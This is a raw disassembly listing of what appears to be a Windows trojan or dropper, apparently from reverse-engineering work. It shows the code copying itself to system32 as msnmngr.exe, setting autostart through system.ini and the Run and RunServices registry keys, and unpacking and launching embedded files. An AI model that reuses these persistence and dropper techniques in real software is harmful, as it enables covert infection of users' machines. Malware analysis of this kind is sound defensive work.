		call	sub_400065B8	; GetSystemDirectoryA
		mov	eax, offset dword_40023E44
		mov	edx, offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		mov	ecx, 1C8h
		call	sub_40004AF4
		mov	eax, offset dword_40023E44
		mov	edx, offset dword_40019AEC
		call	sub_40004B50
		push	0
		mov	eax, ds:dword_40023C78
		call	sub_40004D48
		push	eax
		lea	edx, [ebp-1Ch]
		xor	eax, eax
		call	sub_40002FF8
		mov	eax, [ebp-1Ch]
		call	sub_40004D48
		push	eax
		call	sub_40006500	; CopyFileA
		push	offset dword_40019AFC
		push	offset aExplorer_exeMs ; "Explorer.exe msnmngr.exe"
		push	offset aShell	; "shell"
		push	offset aBoot	; "boot"
		call	sub_40006668	; WritePrivateProfileStringA
		push	100h
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
		call	sub_400065B8	; GetSystemDirectoryA
		mov	dl, 1
		mov	eax, ds:off_4001404C
		call	sub_4001414C
		mov	ebx, eax
		mov	edx, 80000002h
		mov	eax, ebx
		call	sub_400141EC
		mov	cl, 1
		mov	edx, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		mov	eax, ebx
		call	sub_40014250
		test	al, al
		jz	short loc_400194FC
		lea	eax, [ebp-20h]
		mov	edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
		mov	ecx, 100h
		call	sub_40004AF4
		lea	eax, [ebp-20h]
		mov	edx, offset dword_40019B74
		call	sub_40004B50
		mov	ecx, [ebp-20h]
		mov	edx, offset aMsnmgnr ; "msnmgnr"
		mov	eax, ebx
		call	sub_400145A4


loc_400194FC:				; CODE XREF: .itext:400194CCj
		mov	eax, ebx
		call	sub_400141BC
		mov	dl, 1
		mov	eax, ds:off_4001404C
		call	sub_4001414C
		mov	ebx, eax
		mov	edx, 80000002h
		mov	eax, ebx
		call	sub_400141EC
		mov	cl, 1
		mov	edx, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		mov	eax, ebx
		call	sub_40014250
		test	al, al
		jz	short loc_4001955D
		lea	eax, [ebp-24h]
		mov	edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
		mov	ecx, 100h
		call	sub_40004AF4
		lea	eax, [ebp-24h]
		mov	edx, offset dword_40019B74
		call	sub_40004B50
		mov	ecx, [ebp-24h]
		mov	edx, offset aMsnmgnr ; "msnmgnr"
		mov	eax, ebx
		call	sub_400145A4


loc_4001955D:				; CODE XREF: .itext:4001952Dj
		mov	eax, ebx
		call	sub_400141BC
		call	sub_400171BC
		call	sub_400173FC
		mov	eax, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		xor	ecx, ecx
		mov	edx, 104h
		call	sub_40003580
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	ds:dword_4001F3AC	; GetModuleFileNameA
		mov	edx, offset aStr ; "STR"
		mov	eax, offset dword_4001F960
		call	sub_40016F88
		test	eax, eax
		jz	loc_40019AB8
		mov	edx, offset dword_4001F964
		mov	ecx, ds:dword_4001F960
		call	sub_40002DFC
		mov	eax, ds:dword_40023B1C
		mov	edx, eax
		mov	eax, offset dword_4001F94C
		call	sub_40004F74
		mov	eax, offset dword_4001F94C
		call	sub_40004DA0
		mov	edx, eax
		mov	eax, offset dword_4001F964
		mov	ecx, ds:dword_40023B1C
		call	sub_40002DFC
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		lea	edx, [ebp-28h]
		mov	eax, ds:dword_40023B1C
		call	sub_40016CE8
		mov	edx, [ebp-28h]
		mov	ecx, offset dword_4001F94C
		mov	eax, ds:dword_4001F94C
		call	sub_40006A2C
		mov	eax, offset dword_40023B64
		xor	ecx, ecx
		mov	edx, 4
		call	sub_40003580
		xor	eax, eax
		mov	ds:dword_40023B64, eax
		mov	esi, offset byte_4001F9A5
		mov	edi, offset dword_40023B24
		mov	dword ptr [ebp-14h], offset byte_4001FA13
		mov	ebx, offset off_4001F6E4


loc_4001964B:				; CODE XREF: .itext:40019AB2j
		mov	eax, offset dword_4001F958
		xor	ecx, ecx
		mov	edx, 4
		call	sub_40003580
		cmp	byte ptr [esi],	0
		jz	loc_40019A95
		mov	eax, [edi]
		mov	edx, eax
		mov	eax, offset dword_4001F950
		call	sub_40004F74
		mov	eax, offset dword_4001F950
		call	sub_40004DA0
		mov	edx, eax
		mov	ecx, [edi]
		mov	eax, esi
		call	sub_40002DFC
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		mov	ecx, offset dword_4001F950
		mov	edx, ds:dword_4001F94C
		mov	eax, ds:dword_4001F950
		call	sub_40006A2C
		mov	eax, offset dword_4001F954
		mov	edx, [ebp-14h]
		mov	ecx, 81h
		call	sub_40004AF4
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		mov	ecx, offset dword_4001F954
		mov	edx, ds:dword_4001F94C
		mov	eax, ds:dword_4001F954
		call	sub_40006A2C
		xor	eax, eax
		mov	ds:dword_4001F95C, eax
		mov	eax, ds:dword_4001F950
		call	sub_40004D48
		mov	edx, eax
		mov	eax, offset dword_4001F95C
		call	sub_40016F88
		mov	[ebx], eax
		mov	eax, offset dword_4001F958
		mov	edx, ds:dword_4001F95C
		call	sub_40004F74
		cmp	dword ptr [ebx], 0
		jz	loc_40019AB8
		mov	eax, ds:dword_4001F958
		mov	ds:dword_40023E48, eax
		cmp	ds:dword_40023E48, 0
		jz	short loc_4001974E
		mov	eax, ds:dword_40023E48
		sub	eax, 4
		mov	eax, [eax]
		mov	ds:dword_40023E48, eax


loc_4001974E:				; CODE XREF: .itext:4001973Dj
		mov	eax, offset dword_4001F958
		call	sub_40004DA0
		mov	edx, eax
		mov	eax, [ebx]
		mov	ecx, ds:dword_40023E48
		call	sub_40002DFC
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		mov	ecx, offset dword_4001F958
		mov	edx, ds:dword_4001F94C
		mov	eax, ds:dword_4001F958
		call	sub_40006A2C
		lea	edx, [ebp-2Ch]
		mov	eax, ds:dword_4001F958
		call	sub_40016D80
		mov	edx, [ebp-2Ch]
		mov	eax, offset dword_4001F958
		call	sub_400048D8
		cmp	ds:byte_40023B5D, 0
		jz	short loc_400197E0
		mov	eax, ds:dword_4001F958
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		call	sub_40016B44
		mov	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		call	sub_40016C04
		mov	edx, [ebp-30h]
		mov	eax, offset dword_4001F958
		call	sub_400048D8


loc_400197E0:				; CODE XREF: .itext:400197B5j
		cmp	ds:byte_40023B5C, 0
		jz	short loc_4001985D
		mov	eax, ds:dword_4001F958
		test	eax, eax
		jz	short loc_400197F7
		sub	eax, 4
		mov	eax, [eax]


loc_400197F7:				; CODE XREF: .itext:400197F0j
		call	sub_40002C20
		mov	ds:dword_4001F5C8, eax
		mov	eax, ds:dword_4001F958
		mov	ds:dword_40023E4C, eax
		cmp	ds:dword_40023E4C, 0
		jz	short loc_40019823
		mov	eax, ds:dword_40023E4C
		sub	eax, 4
		mov	eax, [eax]
		mov	ds:dword_40023E4C, eax


loc_40019823:				; CODE XREF: .itext:40019812j
		mov	eax, offset dword_4001F958
		call	sub_40004DA0
		mov	edx, ds:dword_4001F5C8
		mov	ecx, ds:dword_40023E4C
		call	sub_40002DFC
		mov	edx, ds:dword_4001F954
		mov	eax, ds:dword_4001F5C8
		call	sub_40017A1C
		mov	eax, ds:dword_4001F5C8
		call	sub_40002C3C
		jmp	loc_40019A95
; ---------------------------------------------------------------------------


loc_4001985D:				; CODE XREF: .itext:400197E7j
		push	offset dword_4001F5CC
		lea	eax, [ebp-38h]
		mov	edx, offset word_4001F9D2
		mov	ecx, 41h
		call	sub_40004AF4
		mov	eax, [ebp-38h]
		push	eax
		mov	eax, ds:dword_40023B14
		mov	ecx, eax
		mov	edx, 1
		pop	eax
		call	sub_40004DA8
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		mov	ecx, offset dword_4001F5CC
		mov	edx, ds:dword_4001F94C
		mov	eax, ds:dword_4001F5CC
		call	sub_40006A2C
		mov	ds:dword_4001F5D0, 104h
		mov	eax, ds:dword_4001F5D0
		push	eax
		push	offset dword_4001F5D4
		mov	eax, ds:dword_4001F5CC
		call	sub_40004D48
		push	eax
		call	sub_40006578	; GetEnvironmentVariableA
		mov	ds:dword_4001F5D0, eax
		cmp	ds:dword_4001F5D0, 0
		jle	short loc_4001994D
		mov	eax, offset dword_4001F5CC
		mov	edx, ds:dword_4001F5D0
		call	sub_40004F74
		mov	eax, offset dword_4001F5CC
		call	sub_40004DA0
		mov	edx, eax
		mov	eax, offset dword_4001F5D4
		mov	ecx, ds:dword_4001F5D0
		call	sub_40002DFC
		push	ds:dword_4001F5CC
		push	offset dword_40019BE0
		mov	eax, 64h
		call	sub_40003080
		lea	edx, [ebp-3Ch]
		call	sub_40016CE8
		push	dword ptr [ebp-3Ch]
		push	offset dword_40019BEC
		mov	eax, offset dword_4001F5CC
		mov	edx, 4
		call	sub_40004C08
		jmp	short loc_400199A6
; ---------------------------------------------------------------------------


loc_4001994D:				; CODE XREF: .itext:400198E9j
		mov	eax, ds:dword_4001F5CC
		test	eax, eax
		jz	short loc_4001995B
		sub	eax, 4
		mov	eax, [eax]


loc_4001995B:				; CODE XREF: .itext:40019954j
		mov	edx, ds:dword_4001F5CC
		cmp	byte ptr [edx+eax-1], 5Ch
		jz	short loc_40019977
		mov	eax, offset dword_4001F5CC
		mov	edx, offset dword_40019BE0
		call	sub_40004B50


loc_40019977:				; CODE XREF: .itext:40019966j
		push	ds:dword_4001F5CC
		mov	eax, 64h
		call	sub_40003080
		lea	edx, [ebp-40h]
		call	sub_40016CE8
		push	dword ptr [ebp-40h]
		push	offset dword_40019BEC
		mov	eax, offset dword_4001F5CC
		mov	edx, 3
		call	sub_40004C08


loc_400199A6:				; CODE XREF: .itext:4001994Bj
		xor	eax, eax
		mov	ds:dword_4001F6E0, eax
		lea	eax, [ebp-44h]
		mov	edx, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	ecx, 105h
		call	sub_40004AF4
		mov	eax, [ebp-44h]
		mov	ecx, offset dword_4001F6E0
		mov	edx, offset dword_4001F6DC
		call	sub_40017D84
		mov	edx, ds:dword_4001F5CC
		mov	eax, offset dword_4001F6F8
		call	sub_40003328
		mov	edx, 1
		mov	eax, offset dword_4001F6F8
		call	sub_40003724
		call	sub_40002D5C
		mov	eax, ds:dword_4001F958
		mov	ds:dword_40023E50, eax
		cmp	ds:dword_40023E50, 0
		jz	short loc_40019A17
		mov	eax, ds:dword_40023E50
		sub	eax, 4
		mov	eax, [eax]
		mov	ds:dword_40023E50, eax


loc_40019A17:				; CODE XREF: .itext:40019A06j
		push	0
		mov	eax, offset dword_4001F958
		call	sub_40004DA0
		mov	edx, eax
		mov	ecx, ds:dword_40023E50
		mov	eax, offset dword_4001F6F8
		call	sub_4000347C
		call	sub_40002D5C
		cmp	ds:dword_4001F6E0, 0
		jbe	short loc_40019A60
		push	0
		mov	edx, ds:dword_4001F6DC
		mov	ecx, ds:dword_4001F6E0
		mov	eax, offset dword_4001F6F8
		call	sub_4000347C
		call	sub_40002D5C


loc_40019A60:				; CODE XREF: .itext:40019A41j
		mov	eax, offset dword_4001F6F8
		call	sub_4000349C
		call	sub_40002D5C
		push	1
		push	0
		mov	eax, ds:dword_4001F954
		call	sub_40004D48
		push	eax
		mov	eax, ds:dword_4001F5CC
		call	sub_40004D48
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	sub_40016CE0	; ShellExecuteA


loc_40019A95:				; CODE XREF: .itext:4001965Fj
					; .itext:40019858j
		inc	ds:dword_40023B64
		add	ebx, 4
		add	dword ptr [ebp-14h], 81h
		add	edi, 8
		add	esi, 5
		cmp	ds:dword_40023B64, 5
		jnz	loc_4001964B


loc_40019AB8:				; CODE XREF: .itext:400195A2j
					; .itext:40019726j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40019ADA


loc_40019AC5:				; CODE XREF: .itext:40019AD8j
		lea	eax, [ebp-44h]
		mov	edx, 0Ch
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40019AD3:				; DATA XREF: .itext:40019410o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40019AC5
; ---------------------------------------------------------------------------


loc_40019ADA:				; CODE XREF: .itext:40019AD2j
					; DATA XREF: .itext:40019AC0o
		pop	edi
		pop	esi
		pop	ebx
		call	sub_40004790
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_40019AEC	dd 6E736D5Ch, 72676E6Dh, 6578652Eh, 0dword_40019AFC	dd 74737973h, 692E6D65h, 696EhaExplorer_exeMs	db 'Explorer.exe msnmngr.exe',0 ; DATA XREF: .itext:4001947Fo
		align 4
aShell		db 'shell',0            ; DATA XREF: .itext:40019484o
		align 4
aBoot		db 'boot',0             ; DATA XREF: .itext:40019489o
		align 4
		dd 0FFFFFFFFh, 2Dh
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .itext:400194BEo
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_40019B74	dd 6E736D5Ch, 726E676Dh, 6578652Eh, 0					; .itext:40019544o
		dd 0FFFFFFFFh, 7
aMsnmgnr	db 'msnmgnr',0          ; DATA XREF: .itext:400194F0o
					; .itext:40019551o
		dd 0FFFFFFFFh, 35h
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
					; DATA XREF: .itext:4001951Fo
		align 4
aStr		db 'STR',0              ; DATA XREF: .itext:40019591o
		dd 0FFFFFFFFh, 1
dword_40019BE0	dd 5Ch,	0FFFFFFFFh, 4					; .itext:4001996Do
dword_40019BEC	dd 6578652Eh, 0						; .itext:40019992o
aOpen		db 'open',0             ; DATA XREF: .itext:40019A89o
		align 4
_itext		ends

; Section 3. (virtual address 0001A000)
; Virtual size			: 000010D8 (   4312.)
; Section size in file		: 000010D8 (   4312.)
; Offset to raw	data for section: 0001A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 4001A000h
dword_4001A000	dd 0							; sub_400046D4+2w ...
dword_4001A004	dd 0							; sub_40004670+36r ...
dword_4001A008	dd 0DB863169h						; sub_40003058+1Dw ...
byte_4001A00C	db 2			; DATA XREF: sub_40003644+4Er
					; .itext:40019012w
		db 8Dh,	40h, 0
off_4001A010	dd offset sub_4000E3EC	; DATA XREF: sub_400052FCr
					; sub_400052FC+9r ...
off_4001A014	dd offset sub_400127B8	; DATA XREF: .data:off_4001AEE4o
off_4001A018	dd offset sub_4000E700	; DATA XREF: sub_4000540Cr
					; sub_4000540C+9r ...
off_4001A01C	dd offset sub_400116DC	; DATA XREF: .data:off_4001B0B4o
off_4001A020	dd offset sub_40011DFC	; DATA XREF: .data:off_4001B024o
word_4001A024	dw 1332h		; DATA XREF: sub_40003B94+6r
					; sub_40003B94:loc_40003C0Cr ...
		dw 0C08Bh
byte_4001A028	db 0			; DATA XREF: sub_40003FE8r
					; sub_40004004r ...
		db 8Dh,	40h, 0
byte_4001A02C	db 0			; DATA XREF: sub_400040D8+52r
					; sub_400040D8:loc_40004165r
		db 8Dh,	40h, 0
byte_4001A030	db 0			; DATA XREF: sub_40004704:loc_40004765r
		db 8Dh,	40h, 0
byte_4001A034	db 1			; DATA XREF: sub_40003328+23r
		db 8Dh,	40h, 0
off_4001A038	dd offset dword_4001A7B4 ; DATA	XREF: sub_40005C08+5r
					; sub_40006184r ...
dword_4001A03C	dd 0A24E60h						; sub_400060A4+18w ...
off_4001A040	dd offset aFastmmBorlandE ; DATA XREF: sub_40006350+3Co
					; "FastMM Borland Edition © 2004, 2005 Pie"...
byte_4001A044	db 0, 0FFh		; DATA XREF: sub_40001734+21o
					; sub_400023F4+11o ...
word_4001A046	dw 10h			; DATA XREF: sub_40002540+17Bo
					; sub_400029B8+6o
		dd 0A24CE0h, 0A24EE0h, 0A2C000h, 2 dup(0A24CE0h), 73300B30h
off_4001A060	dd offset sub_4000134C	; DATA XREF: sub_400029FC+8o
		dd 18FF00h, 0A2C010h, 0A2C408h,	0A33328h, 2 dup(0A2C010h)
		dd 73300B30h
		dd offset sub_40001360
		dd 20FF00h, 0A3A670h, 0A3AAB0h,	0A41980h, 2 dup(0A3A670h)
		dd 73300B30h
		dd offset sub_40001380
		dd 28FF00h, 0A419A0h, 0A41D58h,	0A48CA8h, 2 dup(0A419A0h)
		dd 73300B30h
		dd offset sub_400013AC
		dd 30FF00h, 0A48CD0h, 0A48E10h,	0A4FFD0h, 2 dup(0A48CD0h)
		dd 73300B30h
		dd offset sub_400013CC
		dd 38FF00h, 4001A0E4h, 0A33408h, 0A3A638h, 0A33340h, 4001A0E4h
		dd 73300B30h
		dd offset sub_400013F0
		dd 40FF00h, 4001A104h, 97F790h,	0
		dd 97F730h, 4001A104h, 73300B30h
		dd offset sub_4000141C
		dd 48FF00h, 4001A124h, 0A1DAA8h, 0A24C98h, 0A1D9B0h, 4001A124h
		dd 73300B30h
		dd offset sub_4000144C
		dd 50FF00h, 4001A144h, 9FEF80h,	0
		dd 9FEF10h, 4001A144h, 73300B30h, 40001484h, 58FF00h, 4001A164h
		dd 9B6808h, 0
dword_4001A174	dd 9ACEF0h, 4001A164h, 73300B30h, 40001484h, 60FF00h, 4001A184h
		dd 0A0F490h, 0A16620h, 0A0F350h, 4001A184h, 73300B30h
		dd 40001484h, 68FF00h, 4001A1A4h, 1, 2 dup(0)
		dd offset dword_4001A174+30h
dword_4001A1BC	dd 73300B30h, 40001484h, 70FF00h, 4001A1C4h, 0A16710h
		dd 0A1D940h, 0A16680h, 4001A1C4h, 73300B30h, 40001484h
		dd 78FF00h, 4001A1E4h, 1, 2 dup(0)
		dd offset dword_4001A1BC+28h
dword_4001A1FC	dd 73300B30h, 40001484h, 80FF00h, 4001A204h, 1,	2 dup(0)
					; DATA XREF: .data:4001A218o
		dd offset dword_4001A1FC+8
dword_4001A21C	dd 73300B30h, 40001484h, 88FF00h, 4001A224h, 1,	2 dup(0)
					; DATA XREF: .data:4001A238o
		dd offset dword_4001A21C+8
dword_4001A23C	dd 73300B30h, 40001484h, 90FF00h, 4001A244h, 1,	2 dup(0)
					; DATA XREF: .data:4001A258o
		dd offset dword_4001A23C+8
dword_4001A25C	dd 73300B30h, 40001484h, 98FF00h, 4001A264h, 1,	2 dup(0)
					; DATA XREF: .data:4001A278o
		dd offset dword_4001A25C+8
		dd 73300B30h, 40001484h, 0A0FF00h, 4001A284h, 986B20h
		dd 0
dword_4001A294	dd 986A60h, 4001A284h, 73300B30h, 40001484h, 0B0FF00h
		dd 4001A2A4h, 1, 2 dup(0)
		dd offset dword_4001A294+10h
dword_4001A2BC	dd 73300B30h, 40001484h, 0C0FF00h, 4001A2C4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A2D8o
		dd offset dword_4001A2BC+8
dword_4001A2DC	dd 73300B30h, 40001484h, 0D0FF00h, 4001A2E4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A2F8o
		dd offset dword_4001A2DC+8
dword_4001A2FC	dd 73300B30h, 40001484h, 0E0FF00h, 4001A304h, 1, 2 dup(0)
					; DATA XREF: .data:4001A318o
		dd offset dword_4001A2FC+8
dword_4001A31C	dd 73300B30h, 40001484h, 0F0FF00h, 4001A324h, 1, 2 dup(0)
					; DATA XREF: .data:4001A338o
		dd offset dword_4001A31C+8
dword_4001A33C	dd 73300B30h, 40001484h, 100FF00h, 4001A344h, 1, 2 dup(0)
					; DATA XREF: .data:4001A358o
		dd offset dword_4001A33C+8
dword_4001A35C	dd 73300B30h, 40001484h, 110FF00h, 4001A364h, 1, 2 dup(0)
					; DATA XREF: .data:4001A378o
		dd offset dword_4001A35C+8
dword_4001A37C	dd 73300B30h, 40001484h, 120FF00h, 4001A384h, 1, 2 dup(0)
					; DATA XREF: .data:4001A398o
		dd offset dword_4001A37C+8
dword_4001A39C	dd 73300B30h, 40001484h, 130FF00h, 4001A3A4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A3B8o
		dd offset dword_4001A39C+8
dword_4001A3BC	dd 72300B30h, 40001484h, 140FF00h, 4001A3C4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A3D8o
		dd offset dword_4001A3BC+8
		dd 73300B30h, 40001484h, 160FF00h, 4001A3E4h, 97F8B0h
		dd 0
		dd 97F730h, 4001A3E4h, 73300B30h, 40001484h, 180FF00h
		dd 4001A404h, 9E0C90h, 0
dword_4001A414	dd 9E0AF0h, 4001A404h, 72300B30h, 40001484h, 1A0FF00h
		dd 4001A424h, 1, 2 dup(0)
		dd offset dword_4001A414+10h
dword_4001A43C	dd 72300B30h, 40001484h, 1C0FF00h, 4001A444h, 1, 2 dup(0)
					; DATA XREF: .data:4001A458o
		dd offset dword_4001A43C+8
dword_4001A45C	dd 72300B30h, 40001484h, 1E0FF00h, 4001A464h, 1, 2 dup(0)
					; DATA XREF: .data:4001A478o
		dd offset dword_4001A45C+8
dword_4001A47C	dd 73300B30h, 40001484h, 210FF00h, 4001A484h, 1, 2 dup(0)
					; DATA XREF: .data:4001A498o
		dd offset dword_4001A47C+8
dword_4001A49C	dd 72300B30h, 40001484h, 240FE00h, 4001A4A4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A4B8o
		dd offset dword_4001A49C+8
dword_4001A4BC	dd 73302B30h, 40001484h, 270FE00h, 4001A4C4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A4D8o
		dd offset dword_4001A4BC+8
dword_4001A4DC	dd 75302B30h, 40001484h, 2A0FE00h, 4001A4E4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A4F8o
		dd offset dword_4001A4DC+8
		dd 7E302B30h, 40001484h, 2E0FE00h, 4001A504h, 986D60h
		dd 0
dword_4001A514	dd 986A60h, 4001A504h, 8A302B30h, 40001484h, 320FE00h
		dd 4001A524h, 1, 2 dup(0)
		dd offset dword_4001A514+10h
dword_4001A53C	dd 96302B30h, 40001484h, 370FE00h, 4001A544h, 1, 2 dup(0)
					; DATA XREF: .data:4001A558o
		dd offset dword_4001A53C+8
dword_4001A55C	dd 0A5302B30h, 40001484h, 3C0FE00h, 4001A564h, 1, 2 dup(0)
					; DATA XREF: .data:4001A578o
		dd offset dword_4001A55C+8
dword_4001A57C	dd 0B4302B30h, 40001484h, 420FE00h, 4001A584h, 1, 2 dup(0)
					; DATA XREF: .data:4001A598o
		dd offset dword_4001A57C+8
dword_4001A59C	dd 0C6302B30h, 40001484h, 480FE00h, 4001A5A4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A5B8o
		dd offset dword_4001A59C+8
dword_4001A5BC	dd 0D8302B30h, 40001484h, 4F0FC00h, 4001A5C4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A5D8o
		dd offset dword_4001A5BC+8
dword_4001A5DC	dd 0ED304B30h, 40001484h, 560FC00h, 4001A5E4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A5F8o
		dd offset dword_4001A5DC+8
		dd 0FD304B30h, 40001484h, 5E0FC00h, 4001A604h, 97FD30h
		dd 0
dword_4001A614	dd 97F730h, 4001A604h, 0FD304B30h, 40001484h, 670FC00h
		dd 4001A624h, 1, 2 dup(0)
		dd offset dword_4001A614+10h
dword_4001A63C	dd 0FB304B30h, 40001484h, 710FC00h, 4001A644h, 1, 2 dup(0)
					; DATA XREF: .data:4001A658o
		dd offset dword_4001A63C+8
dword_4001A65C	dd 0FF304B30h, 40001484h, 7C0F800h, 4001A664h, 1, 2 dup(0)
					; DATA XREF: .data:4001A678o
		dd offset dword_4001A65C+8
dword_4001A67C	dd 0F8306B30h, 40001484h, 880F800h, 4001A684h, 1, 2 dup(0)
					; DATA XREF: .data:4001A698o
		dd offset dword_4001A67C+8
dword_4001A69C	dd 0FF306B30h, 40001484h, 950F800h, 4001A6A4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A6B8o
		dd offset dword_4001A69C+8
dword_4001A6BC	dd 0FC306B30h, 40001484h, 0A30F000h, 4001A6C4h,	1, 2 dup(0)
					; DATA XREF: .data:4001A6D8o
		dd offset dword_4001A6BC+8
dword_4001A6DC	dd 0FF308B30h, 40001484h, 0A30F000h, 4001A6E4h,	1, 2 dup(0)
					; DATA XREF: .data:4001A6F8o
		dd offset dword_4001A6DC+8
dword_4001A6FC	dd 0FF308B30h, 40001484h, 0A30F000h, 4001A704h,	1, 2 dup(0)
					; DATA XREF: .data:4001A718o
		dd offset dword_4001A6FC+8
		dd 0FF308B30h, 40001484h
off_4001A724	dd offset sub_40001734	; DATA XREF: sub_40002C20+4r
					; sub_40002C54+3Fr
off_4001A728	dd offset sub_40001A9C	; DATA XREF: sub_40002C3C+4r
					; sub_40002C54+26r ...
off_4001A72C	dd offset sub_40001C7C	; DATA XREF: sub_40002C54+Dr
off_4001A730	dd offset sub_40002004	; DATA XREF: .text:40002C0Cr
		dd offset sub_4000235C
		dd offset sub_4000239C
byte_4001A73C	db 0			; DATA XREF: sub_40002D04+35r
aRsu		db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0
aFxn@		db 'äå@',0
dword_4001A758	dd 3				align 10h
		dd 1, 2, 3, 3 dup(0)
aError		db 'Error',0            ; DATA XREF: sub_40004704+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_40004670+3o
					; sub_40004704+32o ...
		dw 0C08Bh
byte_4001A7A0	db 30h			; DATA XREF: sub_40004670+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_400063E4+Cr
					; sub_400063E4+37r ...
dword_4001A7B4	dd 0							; sub_40006474+33o ...
dword_4001A7B8	dd 40000000h	dword_4001A7BC	dd 0		dword_4001A7C0	dd 0				dd 40000000h, 0
dword_4001A7CC	dd 4 dup(0)						; .data:off_4001AFA8o
dword_4001A7DC	dd 0		dword_4001A7E0	dd 0		dword_4001A7E4	dd 2							; sub_4000B830+32r ...
dword_4001A7E8	dd 5							; sub_4000BDA0+5Br
dword_4001A7EC	dd 1		dword_4001A7F0	dd 0A28h						; sub_4000B830+4Fw
dword_4001A7F4	dd 0A3A838h						; sub_4000CC50+4Fo
word_4001A7F8	dw 32h			; DATA XREF: sub_4000A1CC+1ADr
					; sub_4000A1CC+1C9r
		dw 0C08Bh
dword_4001A7FC	dd 1C001Fh, 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh), 1D001Fh
					; DATA XREF: sub_40009050+24o
					; sub_4000911C+FCo
		dd 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh)
dword_4001A82C	dd 0							; sub_400096A8+33Br ...
		dd 7 dup(0)
off_4001A84C	dd offset dword_40007828 ; DATA	XREF: sub_4000CC50+128o
					; sub_400190AC+37o ...
dword_4001A850	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4000C4D8:loc_4000C4F9r ...
off_4001A854	dd offset dword_40007FCC ; DATA	XREF: sub_40007FDC+3Br
					; sub_4000CC50+132o
		dd offset dword_40007FCC+0Ch
off_4001A85C	dd offset off_40006BD8	; DATA XREF: sub_4000828C+43r
					; .text:4000CC44o
off_4001A860	dd offset off_40006BE0	; DATA XREF: .text:4000CC38o
tbyte_4001A864	dt 1.0e18		; DATA XREF: sub_40008B01+63r
		dw 0C08Bh
flt_4001A870	db 0Ah,	0, 0, 0		; DATA XREF: sub_400087BC+23r
					; sub_40008B01+78r ...
word_4001A874	dw 133Fh		; DATA XREF: sub_40008D00+25r
		dw 0C08Bh
flt_4001A878	dd 8.64e7		; DATA XREF: sub_40008F04+Br
dword_4001A87C	dd 5265C00h						; sub_40008F04:loc_40008F33r
dword_4001A880	dd 642A2E25h	off_4001A884	dd offset off_40006CB0	; DATA XREF: sub_4000A91C+3Ao
					; .text:4000CC2Co
off_4001A888	dd offset off_40006CB8	; DATA XREF: .text:4000CC20o
off_4001A88C	dd offset off_40006CC0	; DATA XREF: .text:4000CC14o
off_4001A890	dd offset off_40006CC8	; DATA XREF: .text:4000CC08o
off_4001A894	dd offset off_40006CD0	; DATA XREF: .text:4000CBFCo
off_4001A898	dd offset off_40006CD8	; DATA XREF: .text:4000CBF0o
off_4001A89C	dd offset off_40006CE0	; DATA XREF: .text:4000CBE4o
off_4001A8A0	dd offset off_40006CE8	; DATA XREF: .text:4000CBD8o
off_4001A8A4	dd offset off_40006CF0	; DATA XREF: .text:4000CBCCo
off_4001A8A8	dd offset off_40006CF8	; DATA XREF: .text:4000CBC0o
off_4001A8AC	dd offset off_40006D00	; DATA XREF: .text:4000CBB4o
off_4001A8B0	dd offset off_40006D08	; DATA XREF: .text:4000CBA8o
off_4001A8B4	dd offset off_40006D10	; DATA XREF: sub_4000A91C+5Do
					; .text:4000CB9Co
off_4001A8B8	dd offset off_40006D18	; DATA XREF: .text:4000CB90o
off_4001A8BC	dd offset off_40006D20	; DATA XREF: .text:4000CB84o
off_4001A8C0	dd offset off_40006D28	; DATA XREF: .text:4000CB78o
